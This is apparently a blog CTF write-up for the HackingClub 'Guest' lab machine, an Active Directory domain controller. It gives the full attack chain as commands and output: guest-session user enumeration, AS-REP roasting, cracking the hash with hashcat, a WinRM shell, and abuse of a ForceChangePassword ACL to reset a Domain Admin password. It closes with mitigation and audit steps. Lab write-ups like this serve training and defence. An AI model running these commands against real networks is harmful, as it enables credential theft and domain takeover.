$ cd /blog

Guest - HC Writeup

2026-05-23·6 min read·
ctfactive-directoryasrep-roastingacl-abusewinrm

Target Information

  • IP Address: 172.16.11.144
  • Hostname: DC.papercompany.uhclabs
  • Domain: papercompany.uhclabs
  • Difficulty: Medium
  • Tags: Active Directory, ASREPRoasting, ACL Abuse, ForceChangePassword, WinRM, Privilege Escalation

Reconnaissance

Port Scanning

Initial enumeration with nmap:

$bash
nmap -sC -sV -p- --min-rate 500 -vvv -oA nmap 172.16.11.144

Results:

$code
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP
445/tcp  open  microsoft-ds  Windows Server 2022
464/tcp  open  kpasswd5
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (WinRM)

Classic Windows Domain Controller fingerprint: Kerberos (88), LDAP (389/3268), SMB (445), WinRM (5985).

Enumeration

Domain Discovery

Using crackmapexec / netexec to identify domain and hostname:

$bash
nxc smb 172.16.11.144

Result:

$code
SMB  172.16.11.144  445  DC  [*] Windows Server 2022 Build 20348 x64
     domain: papercompany.uhclabs

User Enumeration

Enumerated domain users via lookupsid.py (null/guest session):

$bash
lookupsid.py 'papercompany.uhclabs/guest:@172.16.11.144' 2000

Users found:

$code
500: Administrator
501: Guest
502: krbtgt
1000: DC$
1103: helpdesk
1104: marcos.pereira

Also confirmed via kerbrute:

$bash
kerbrute userenum --dc 172.16.11.144 --domain papercompany.uhclabs /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

Group Enumeration

$bash
rpcclient -U "guest%" 172.16.11.144 -c 'enumdomgroups; enumdomusers'

Notable memberships:

  • helpdesk → Remote Management Users
  • marcos.pereira → Domain Admins

Exploitation: AS-REP Roasting

Identifying DONT_REQ_PREAUTH Accounts

$bash
OPENSSL_CONF=/tmp/openssl-legacy.cnf GetNPUsers.py papercompany.uhclabs/ \
  -usersfile users.txt -dc-ip 172.16.11.144 -no-pass -format hashcat

Result:

$code
$krb5asrep$23$helpdesk@PAPERCOMPANY.UHCLABS:7880089b...

helpdesk has DONT_REQ_PREAUTH set — the KDC returns an AS-REP without verifying the client's identity, exposing an encrypted TGT crackable offline.

Cracking the Hash

$bash
hashcat -m 18200 helpdesk.hash /usr/share/wordlists/rockyou.txt

Result:

$code
$krb5asrep$23$helpdesk@...:1qaz@WSX

Credentials: helpdesk:1qaz@WSX

Lateral Movement: WinRM as helpdesk

helpdesk is a member of Remote Management Users, enabling WinRM access:

$bash
evil-winrm -i 172.16.11.144 -u helpdesk -p '1qaz@WSX'

Result:

$code
*Evil-WinRM* PS C:\Users\helpdesk\Documents>

User Flag

$powershell
Get-Content C:\Users\helpdesk\Desktop\user.txt

Result:

$code
[User flag redacted]

Post-Exploitation

Environment Enumeration

$powershell
whoami /priv
$code
Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

No high-value privileges. Moved to ACL enumeration.

ACL Enumeration

Checked ACLs for all domain objects using dacledit.py:

$bash
OPENSSL_CONF=/tmp/openssl-legacy.cnf dacledit.py -action read \
  -target 'marcos.pereira' -dc-ip 172.16.11.144 \
  papercompany.uhclabs/helpdesk:'1qaz@WSX'

Critical finding:

$code
ACE Type  : ACCESS_ALLOWED_OBJECT_ACE
Object    : User-Force-Change-Password (00299570-246d-11d0-a768-00aa006e0529)
Trustee   : helpdesk (S-1-5-21-...-1103)

helpdesk has ForceChangePassword right on marcos.pereira — this allows resetting the password without knowing the current one.

Note: This ACE is periodically removed by SDProp because marcos.pereira has adminCount=1 (Domain Admin). The challenge machine resets the ACE automatically. If the ACE is absent, wait for the scheduled reset and re-check.

Privilege Escalation: ForceChangePassword → Domain Admin

Exploitation

Forced a password reset on marcos.pereira using rpcclient info level 23 (SAMR_USER_INFO_23), which resets the password without requiring the current one:

$bash
rpcclient -U "papercompany.uhclabs/helpdesk%1qaz@WSX" 172.16.11.144 \
  -c 'setuserinfo2 marcos.pereira 23 "P@ssw0rd_CTF2024!"'

Result: No output = success.

Verification

$bash
nxc winrm 172.16.11.144 -u marcos.pereira -p 'P@ssw0rd_CTF2024!'
$code
[+] papercompany.uhclabs\marcos.pereira:P@ssw0rd_CTF2024! (Pwn3d!)

DOMAIN ADMIN OBTAINED.

Root Flag

$bash
nxc winrm 172.16.11.144 -u marcos.pereira -p 'P@ssw0rd_CTF2024!' \
  -x 'powershell -c "Get-ChildItem C:\Users\ -Recurse -Filter root.txt | ForEach-Object { Get-Content $_.FullName }"'

Result:

$code
[Root flag redacted]

Attack Chain Summary

$code
1. Guest / Unauthenticated access
   ↓ lookupsid + kerbrute
2. Domain user enumeration → helpdesk (DONT_REQ_PREAUTH)
   ↓ GetNPUsers.py + hashcat
3. helpdesk:1qaz@WSX — AS-REP Roasted
   ↓ evil-winrm (Remote Management Users)
4. WinRM shell as helpdesk → User Flag
   ↓ dacledit.py
5. ForceChangePassword ACE on marcos.pereira
   ↓ rpcclient setuserinfo2 level 23
6. marcos.pereira:P@ssw0rd_CTF2024! (Domain Admin)
   ↓ evil-winrm
7. Root Flag — C:\Users\Administrator\Desktop\root.txt

Vulnerabilities Summary

VulnerabilityCWESeverityImpact
Kerberos Pre-Auth Disabled (AS-REP Roasting)CWE-287HighOffline cracking of user TGT — credential exposure
ForceChangePassword ACL MisconfigurationCWE-732CriticalLow-priv user can reset Domain Admin password
Weak Password PolicyCWE-521MediumCrackable password with rockyou

Mitigation Recommendations

Enable Kerberos Pre-Authentication

Ensure all accounts have pre-authentication enabled. Disable only when technically required:

$powershell
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} | 
  Set-ADAccountControl -DoesNotRequirePreAuth $false

Fix ACL Misconfiguration

Remove ForceChangePassword from non-admin accounts. For Domain Admin accounts, verify ACEs after every SDProp cycle:

$powershell
# Audit: who has ForceChangePassword on any object
Get-ADUser -Filter * | ForEach-Object {
  (Get-ACL "AD:$($_.DistinguishedName)").Access | 
  Where-Object { $_.ObjectType -eq '00299570-246d-11d0-a768-00aa006e0529' }
}

Enforce Strong Password Policy

$powershell
Set-ADDefaultDomainPasswordPolicy -Identity papercompany.uhclabs `
  -MinPasswordLength 14 -ComplexityEnabled $true `
  -PasswordHistoryCount 24

System Level

  1. Restrict WinRM access: Limit Remote Management Users to necessary accounts only.
  2. Monitor ACL changes on privileged objects: Alert on any ACE additions to adminCount=1 users via a SIEM rule on event ID 5136 (Directory Service Object Modified).
  3. Tiering model: Service accounts like helpdesk should never have ACL rights over Tier 0 users (Domain Admins).

Tools Used

  • nmap - Port scanning and service enumeration
  • netexec / nxc - SMB/WinRM authentication and command execution
  • kerbrute - Kerberos username enumeration
  • impacket - lookupsid, GetNPUsers, dacledit
  • evil-winrm - WinRM interactive shell
  • hashcat - AS-REP hash cracking
  • rpcclient - SAMR calls including ForceChangePassword

Flags

$code
User Flag: C:\Users\helpdesk\Desktop\user.txt
[redacted]

Root Flag: C:\Users\Administrator\Desktop\root.txt
[redacted]

References

CWE References:

Author: cbxcvl
Date: 2026-05-23
Machine: Guest — HackingClub

Proof of Concept Scripts

Exploit commands and requests are documented inline above. No standalone script was included in the source notes.